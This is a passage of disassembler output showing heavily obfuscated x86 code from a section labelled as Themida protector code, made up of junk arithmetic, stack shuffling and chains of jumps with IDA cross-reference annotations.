; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------


loc_58C33E:				; CODE XREF: Themida_:0058D3DEj
					; Themida_:0058E277j
		mov	edx, 69074CE8h
		inc	edx
		not	edx
		dec	edx
		neg	edx
		sub	edx, 69074CE7h
		add	ebp, edx
		jmp	loc_5977D9
; ---------------------------------------------------------------------------


loc_58C356:				; CODE XREF: Themida_:0058E581j
		sub	eax, 46675121h
		jmp	loc_58E264
; ---------------------------------------------------------------------------


loc_58C360:				; CODE XREF: Themida_:0059668Dj
		push	22EEh
		mov	[esp], esi
		jmp	loc_58F29C

; =============== S U B	R O U T	I N E =======================================



sub_58C36D	proc near		; CODE XREF: sub_5902CA-2CA1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058CB27 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CC2A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058F67C SIZE 00000005 BYTES

		push	ebp
		mov	ebp, 31433CDh
		shr	ebp, 4
		dec	ebp
		dec	ebp
		sub	ebp, 0EF7AFD77h
		add	eax, 523E27B7h
		add	eax, ebp
		jmp	loc_58CC2A
sub_58C36D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C38A:				; CODE XREF: sub_596082-3174j
		add	esp, 4
		mov	ecx, [esp+0]
		add	esp, 4
		sub	ecx, 24854E3Fh
		pop	ebx
		push	5BCBh
		mov	[esp+1Eh+var_20+2], eax
		push	edi
		mov	edi, 533E06ACh
		sub	edi, 533DFEACh
		mov	eax, edi
		jmp	loc_596542
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C3B8:				; CODE XREF: Themida_:0058D523j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_58BBD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2D6


loc_58C3C1:				; CODE XREF: sub_58E2D6-1E56j
		pop	edi
		add	edx, edi
		jmp	sub_594F3F
; END OF FUNCTION CHUNK	FOR sub_58E2D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C3C9:				; CODE XREF: sub_58E66C+55DFj
		push	dword ptr [esp+0]
		jmp	loc_58C92F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C3D1:				; CODE XREF: Themida_:0058B7B7j
		push	esi
		mov	esi, 74B00D9Ch
		sub	esi, 74B00D98h
		add	ecx, esi
		pop	esi
		push	ebx
		push	esi
		mov	esi, 2
		mov	ebx, esi
		pop	esi
		sub	ecx, 50097BAFh
		add	ecx, ebx
		jmp	loc_594641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C3F7:				; CODE XREF: sub_58E66C-3509j
		jmp	loc_592EA8
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58C3FC:				; CODE XREF: sub_5F45E7-63A0Dj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		mov	[esp+2Ch+var_2C], ecx
		jmp	loc_5966B3
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_58C416:				; CODE XREF: sub_58D250+FCj
		mov	esp, [esp+4+var_4]
		mov	[esp+0], esi
		mov	esi, esp
		jmp	loc_595C3E
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58C423:				; CODE XREF: sub_58AE7C+42AFj
		dec	[esp+0Ch+var_C]
		pop	ecx
		dec	ecx
		xor	ecx, 0D323FAA3h
		jmp	loc_58F73C
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58C433:				; CODE XREF: sub_596498-598Ej
		mov	esp, [esp+0Ch+var_C]
		btc	word ptr [esp+0Ch+var_C], ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_58C441:				; CODE XREF: sub_593983+17FCj
		mov	eax, 24h
		jmp	loc_58CF46
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58C44B:				; CODE XREF: sub_591C99-128Aj
		jnz	loc_58B3F7
		jmp	loc_593A80
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		push	ecx
		mov	ch, 0F9h
		jmp	loc_595C1F
; ---------------------------------------------------------------------------
		pop	esp


loc_58C45F:				; CODE XREF: Themida_:0058D0ECj
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2D6


loc_58C473:				; CODE XREF: sub_58E2D6+38DCj
		push	edi
		mov	edi, 70CB1875h
		mov	edx, 8F34E7A7h
		add	edx, edi
		jmp	loc_58C3C1
; END OF FUNCTION CHUNK	FOR sub_58E2D6
; ---------------------------------------------------------------------------


loc_58C485:				; CODE XREF: Themida_:005905F9j
		mov	edx, 24724F3Ch
		sub	edx, 24724F38h
		push	edx
		sub	dword ptr [esp], 7E717025h
		pop	eax
		add	eax, 7E717025h
		pop	edx
		jmp	loc_58E7E1

; =============== S U B	R O U T	I N E =======================================



sub_58C4A4	proc near		; CODE XREF: sub_5925A4-A9Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005900AF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00590D2B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593570 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00593A6D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593C50 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597286 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 1471776Bh
		push	ebp
		mov	ebp, 0C91918h
		shl	ebp, 6
		inc	ebp
		jmp	loc_593570
sub_58C4A4	endp

; ---------------------------------------------------------------------------


loc_58C4BE:				; CODE XREF: Themida_:00592A37j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58C4C3:				; CODE XREF: sub_58C878+6965j
		add	esp, 4
		mov	cl, bl
		pop	ebx
		jmp	loc_58C5D9
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58C4D1:				; CODE XREF: Themida_:0058B0E1j
		mov	bh, 15h
		jmp	loc_58B90C
; ---------------------------------------------------------------------------


loc_58C4D8:				; CODE XREF: Themida_:0059104Bj
		add	eax, 37C60FBBh
		jmp	loc_58A9DD
; ---------------------------------------------------------------------------


loc_58C4E2:				; CODE XREF: Themida_:005952BEj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58C4E7:				; CODE XREF: Themida_:00595472j
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		jmp	loc_594EFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_58C4FC:				; CODE XREF: sub_592A4E+3j
		inc	bl
		xor	bl, 0ADh
		dec	bl
		dec	bl
		xor	bl, 0BAh
		mov	dh, bl
		jmp	loc_5965F8
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------


loc_58C50F:				; CODE XREF: Themida_:0058D5C6j
		pop	ebx
		mov	ebp, eax
		pop	eax
		jmp	loc_58E99A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CE72


loc_58C518:				; CODE XREF: sub_58CE72+A00Ej
		pop	dword ptr [esp+0]
		jmp	loc_58EADA
; END OF FUNCTION CHUNK	FOR sub_58CE72
; ---------------------------------------------------------------------------


loc_58C520:				; CODE XREF: Themida_:00594EEBj
		mov	esp, [esp]
		jmp	loc_591EC3
; ---------------------------------------------------------------------------


loc_58C528:				; CODE XREF: Themida_:00593679j
		add	eax, 24782F9Ah
		push	esi
		push	56D620FBh
		pop	esi
		sub	eax, esi
		pop	esi
		jmp	loc_59198B
; ---------------------------------------------------------------------------


loc_58C53C:				; CODE XREF: Themida_:005965F3j
		push	19FFh
		mov	[esp], ebp
		jmp	loc_59559B
; ---------------------------------------------------------------------------


loc_58C549:				; CODE XREF: Themida_:0058C6BBj
		mov	edi, esp
		jmp	loc_58E106
; ---------------------------------------------------------------------------


loc_58C550:				; CODE XREF: Themida_:0058F30Ej
		pop	dword ptr [esp]
		jmp	loc_58EE39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58C558:				; CODE XREF: sub_58C878+5051j
		mov	edx, [esp+0]
		add	esp, 4
		pop	ecx
		push	[esp-0Ah+arg_6]
		pop	eax
		jmp	loc_58AED7
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C56B:				; CODE XREF: sub_596082-7FC9j
		inc	eax
		add	eax, 1F1F7F2Bh
		jmp	loc_58CBA9
; ---------------------------------------------------------------------------


loc_58C576:				; CODE XREF: sub_596082+5Fj
		pop	eax
		add	ecx, eax
		sub	ecx, 382B30F1h
		pop	eax
		push	edx
		mov	edx, 6D5B4572h
		neg	edx
		jmp	loc_59633B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C58D:				; CODE XREF: Themida_:00593FE8j
		mov	eax, 66662E81h
		sub	eax, 452F0F59h
		jmp	loc_5934F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58C59C:				; CODE XREF: sub_593009+5AFj
		sub	eax, 0E626D1B5h
		add	eax, edi
		mov	[eax], ch
		jmp	loc_58B37D
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58C5AA:				; CODE XREF: Themida_:0058C073j
		btc	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58C5B5:				; CODE XREF: sub_5F45E7-62407j
		xor	al, cl
		mov	cx, word ptr [esp+2Ch+var_2C]
		jmp	loc_593402
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C5C0:				; CODE XREF: sub_596082-B6DDj
		inc	edi
		xor	edi, 0F3F1DEEBh
		jmp	loc_591F46
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C5CC:				; CODE XREF: Themida_:0058F480j
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_58D0E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58C5D9:				; CODE XREF: sub_58C878-3ACj
		sub	cl, 5Fh
		push	ebx
		mov	bl, 16h
		add	bl, 29h
		sub	al, bl
		jmp	loc_58EEAA
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58C5E9:				; CODE XREF: Themida_:005917A4j
		add	edx, 2
		push	6F57h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58EFA6
; ---------------------------------------------------------------------------


loc_58C5FE:				; CODE XREF: Themida_:0058F903j
		sub	esi, 2A6065FBh
		add	esi, edx
		jmp	loc_58FC1C
; ---------------------------------------------------------------------------


loc_58C60B:				; CODE XREF: Themida_:005931CFj
		mov	[esp], edx
		mov	edx, 2F844Bh
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, ebp
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2
		push	eax
		mov	eax, 1DF2439Dh
		jmp	loc_58B7FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C644:				; CODE XREF: sub_596082-874Ej
					; Themida_:00591644j
		dec	eax
		add	eax, 2FD6FD9Ah
		xor	eax, 54276303h
		jmp	loc_590FAE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C654:				; CODE XREF: Themida_:00596EB5j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_593A80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58C665:				; CODE XREF: sub_593009+468Cj
		push	[esp-24h+arg_24]
		jmp	loc_5948E7
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58C66E:				; CODE XREF: sub_58E91C+4CC8j
		sub	ebp, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5959C8
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C67E:				; CODE XREF: sub_58E66C+6E4Fj
		add	esp, 4
		add	al, dh
		add	al, 0C0h
		mov	dx, word ptr [esp+8+var_8]
		add	esp, 2
		push	small 4BB8h
		mov	word ptr [esp+6+var_8+2], bx
		jmp	loc_5935BD
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C69C:				; CODE XREF: Themida_:0058E247j
					; Themida_:00592A05j
		and	bl, 2Ah
		jno	loc_58B8F9
		shl	bl, 6
		jp	loc_596455
		jmp	loc_591DBD
; ---------------------------------------------------------------------------


loc_58C6B3:				; CODE XREF: Themida_:0058E6EEj
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_58C549
; ---------------------------------------------------------------------------


loc_58C6C0:				; CODE XREF: Themida_:00594CD0j
		mov	cl, bh
		pop	bx
		push	cx
		jmp	loc_592399
; ---------------------------------------------------------------------------


loc_58C6CB:				; CODE XREF: Themida_:0058A767j
		add	esp, 4
		push	edx
		push	esi
		push	7E467E2Dh
		jmp	loc_58B7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C6DD:				; CODE XREF: sub_596082+132Dj
		mov	[esp+8+var_8], ecx
		push	ebx
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		jmp	loc_58C9ED
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_58C6FB:				; CODE XREF: sub_58D6A0+3A09j
		mov	ebx, esp
		jmp	loc_58E8E1
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1B2Bh
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_594FB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592153


loc_58C71F:				; CODE XREF: sub_592153+46E3j
		mov	esi, [esp+0]
		add	esp, 4
		add	esi, 4
		sub	esi, 2
		sub	esp, 4
		mov	[esp+0], esi
		push	[esp+arg_0]
		jmp	loc_58CB34
; END OF FUNCTION CHUNK	FOR sub_592153
; ---------------------------------------------------------------------------


loc_58C740:				; CODE XREF: Themida_:0058FCC3j
		mov	[esp], edi
		mov	edi, 3DFD28A8h
		inc	edi
		xor	edi, 56CE6CAAh
		jmp	loc_58E153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58C754:				; CODE XREF: sub_593009-11C8j
		add	ecx, 8FC352CDh
		sub	edi, ecx
		pop	ecx
		or	edi, 79E06E93h
		add	edi, 0A3B14020h
		sub	esi, edi
		pop	edi
		pop	edx
		add	esi, 4
		jmp	loc_590317
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58C775:				; CODE XREF: sub_5F45E7-6851Fj
		pop	ebx
		jmp	loc_594309
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58C77B:				; CODE XREF: Themida_:00592E17j
		add	edx, eax
		pop	eax
		jmp	loc_58A56E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2BE


loc_58C783:				; CODE XREF: sub_58E2BE+1AE3j
		add	esp, 4
		add	ebx, 4
		push	esi
		push	4
		pop	esi
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		jmp	loc_58F1EB
; END OF FUNCTION CHUNK	FOR sub_58E2BE
; ---------------------------------------------------------------------------


loc_58C7A2:				; CODE XREF: Themida_:005923B7j
		shr	eax, 4
		add	eax, 0FD1F3CABh
		add	ebx, eax
		pop	eax
		add	ebx, 2
		xor	ebx, [esp]
		jmp	loc_58FE1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C7BB:				; CODE XREF: sub_596082-90DAj
		pop	esi
		xor	ecx, 62D71970h
		push	edx
		mov	edx, 0
		sub	edx, ecx
		xchg	edx, ecx
		pop	edx
		push	4244h
		mov	[esp+10h+var_10], edi
		mov	edi, 0
		sub	edi, ecx
		xchg	edi, ecx
		push	[esp+10h+var_10]
		pop	edi
		add	esp, 4
		xor	ecx, 2BFD8B09h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 75FE4E5Dh
		sub	ebx, eax
		add	ebx, 75FE4E5Dh
		sub	ebx, 51FA31A4h
		sub	ebx, 527535D8h
		push	eax
		mov	eax, 1B791F7Eh
		add	ebx, eax
		pop	eax
		xor	edx, eax
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_58C81B:				; CODE XREF: sub_59236E-3BAj
		pop	esp
		add	[edi+24h], edx
		jmp	loc_58CF1E
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C824:				; CODE XREF: sub_58E66C-109Ej
		sub	eax, 9BB3CB5Bh
		and	eax, 2F794F6Ch
		xor	eax, 73521480h
		push	eax
		add	[esp+0Ah+var_C+2], 2F494C64h
		pop	edx
		jmp	loc_590F46
; ---------------------------------------------------------------------------


loc_58C841:				; CODE XREF: sub_58E66C+7E8Ej
		add	edx, 5219AC1Ch
		add	edx, edi
		mov	ecx, [edx]
		mov	edx, [esp+6+var_8+2]
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, esp
		jmp	loc_58CF68
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C85E:				; CODE XREF: Themida_:0058A69Cj
		pop	edx
		add	esp, 4
		push	1AC1h
		jmp	loc_58D689
; ---------------------------------------------------------------------------


loc_58C86C:				; CODE XREF: Themida_:005972DEj
		inc	ebp
		shl	ebp, 1
		push	ebp
		push	edx
		pop	ebp
		pop	edx
		jmp	loc_58C0EF

; =============== S U B	R O U T	I N E =======================================



sub_58C878	proc near		; CODE XREF: sub_596082-37C8j

var_16		= dword	ptr -16h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_6		= dword	ptr  0Ah

; FUNCTION CHUNK AT 0058A886 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058AC24 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058AED7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058B109 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C4C3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C558 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C5D9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058CE93 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058CF1E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E075 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058EEAA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F0A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F96A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FAF9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590D8E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00590E03 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005918C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005922C9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592405 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005931D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593C96 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00593F2C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595B1D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059644E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00596D70 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597343 SIZE 00000008 BYTES

		push	ebx
		mov	bl, cl
		push	edx
		mov	dl, bl
		push	eax
		mov	al, dl
		jmp	loc_593F2C
sub_58C878	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_58C886:				; CODE XREF: sub_59425A+19j
		pop	eax
		pop	eax
		sub	ebx, eax
		sub	ebx, 2AB32874h
		mov	dx, [esp-4+arg_0]
		push	edi
		push	522h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	edi, [esp+4+var_4]
		jmp	loc_58C145
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58C8AC:				; CODE XREF: sub_593009+F30j
		xchg	ebx, [esp-2Ch+arg_28]
		jmp	loc_58B3B0
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C8B4:				; CODE XREF: sub_58E66C+994j
		push	0B1525DAh
		pop	ecx
		sub	ecx, 78BC1C75h
		jnb	loc_58E966
		jmp	loc_58EEC2
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C8CB:				; CODE XREF: Themida_:0058CC75j
		mov	ch, 0ECh
		jmp	loc_58F99C
; ---------------------------------------------------------------------------


loc_58C8D2:				; CODE XREF: Themida_:0058CA7Fj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58A85D
; ---------------------------------------------------------------------------


loc_58C8E8:				; CODE XREF: Themida_:0058CBFDj
		jmp	loc_58DE76
; ---------------------------------------------------------------------------


loc_58C8ED:				; CODE XREF: Themida_:00596589j
		mov	ecx, esp
		jmp	loc_59714B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_58C8F4:				; CODE XREF: sub_58A50F+3j
					; sub_596BF6-19AAj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 21F83D0Ch
		xor	esi, 0AD95240h
		jmp	loc_58B4AD
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C91F:				; CODE XREF: sub_596082-2359j
		mov	edi, 77B91BD5h
		add	eax, edi
		pop	edi
		mov	esi, [esp+4+var_4]
		jmp	sub_58E2D6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C92F:				; CODE XREF: sub_58E66C-22A0j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ebx
		jmp	loc_591080
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C93E:				; CODE XREF: Themida_:0058B546j
		mov	bh, 0Ch
		inc	bh
		jmp	loc_5948B9
; ---------------------------------------------------------------------------


loc_58C947:				; CODE XREF: Themida_:005967F5j
		add	edi, esi
		pop	esi
		push	48Ah
		mov	[esp], ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_58E77E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C95F:				; CODE XREF: sub_596082:loc_5955AEj
		sub	edx, 6BDDEAFh
		and	[edi+1Ch], edx
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	56E2h
		mov	[esp+8+var_8], edx
		mov	edx, esp
		add	edx, 4
		jmp	sub_595DFE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C986:				; CODE XREF: Themida_:005937D3j
		push	2
		pop	eax
		sub	edi, 451B6852h
		jmp	loc_594B3B
; ---------------------------------------------------------------------------


loc_58C997:				; CODE XREF: Themida_:00592209j
		neg	eax
		jmp	loc_592CD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C99E:				; CODE XREF: Themida_:0058BD65j
					; sub_596082-8C99j
		jnb	sub_5953D2
		push	ebx
		mov	ebx, 3EDA1533h
		shr	ebx, 5
		push	eax
		mov	eax, 405A1C1Bh
		jmp	loc_596229
; ---------------------------------------------------------------------------


loc_58C9B8:				; CODE XREF: Themida_:0058D7A7j
					; sub_596082-452Ej
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+14h+var_14]
		push	0F0Fh
		mov	[esp+18h+var_18], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		jmp	loc_58F8D7
; ---------------------------------------------------------------------------


loc_58C9D9:				; CODE XREF: sub_596082-29E6j
		add	eax, 54BB96BDh
		shl	eax, 5
		add	eax, 5CDAD644h
		sub	esi, eax
		jmp	loc_595AB7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58C9ED:				; CODE XREF: sub_596082-998Cj
					; sub_593009+3379j
		xchg	eax, [esp-2Ch+arg_28]
		pop	esp
		mov	[esp-30h+arg_2C], ecx
		mov	ch, al
		mov	bh, ch
		mov	ecx, [esp-30h+arg_2C]
		add	esp, 4
		mov	ch, bh
		pop	ebx
		push	eax
		jmp	loc_58FCF3
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CA0A:				; CODE XREF: sub_596082-5C54j
		mov	esi, [esp+1Ch+var_1C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		jmp	loc_58E845
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58CA21:				; CODE XREF: Themida_:00595358j
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58C0FF
; ---------------------------------------------------------------------------


loc_58CA37:				; CODE XREF: Themida_:0058FDFAj
		mov	cx, [esp]
		push	13B4h
		jmp	loc_58A755
; ---------------------------------------------------------------------------


loc_58CA45:				; CODE XREF: Themida_:0058B933j
		push	ecx
		mov	ecx, 5BDC48A9h
		jmp	loc_58F3E4
; ---------------------------------------------------------------------------


loc_58CA50:				; CODE XREF: Themida_:0058FDD2j
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58C8D2
; ---------------------------------------------------------------------------


loc_58CA84:				; CODE XREF: Themida_:0058B8CBj
		dec	byte ptr [esp]
		pop	ecx
		add	cl, 71h
		push	edx
		push	ecx
		mov	ch, 32h
		mov	dh, 2Ah
		sub	dh, ch
		jmp	loc_5958B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58CA98:				; CODE XREF: sub_596498-9744j
					; sub_590EF5+Dj
		add	ebp, eax
		sub	ebp, 1F784856h
		pop	eax
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	ecx
		mov	ecx, 33601AFh
		push	esi
		jmp	sub_590B23
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_58CAB1:				; CODE XREF: Themida_:0058F99Fj
		add	al, ch
		mov	ecx, [esp]
		push	edx
		jmp	loc_58EF24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595387


loc_58CABC:				; CODE XREF: sub_595387+7j
		pop	ecx
		push	edi
		mov	edi, 0DD13D07h
		push	0
		jmp	loc_597415
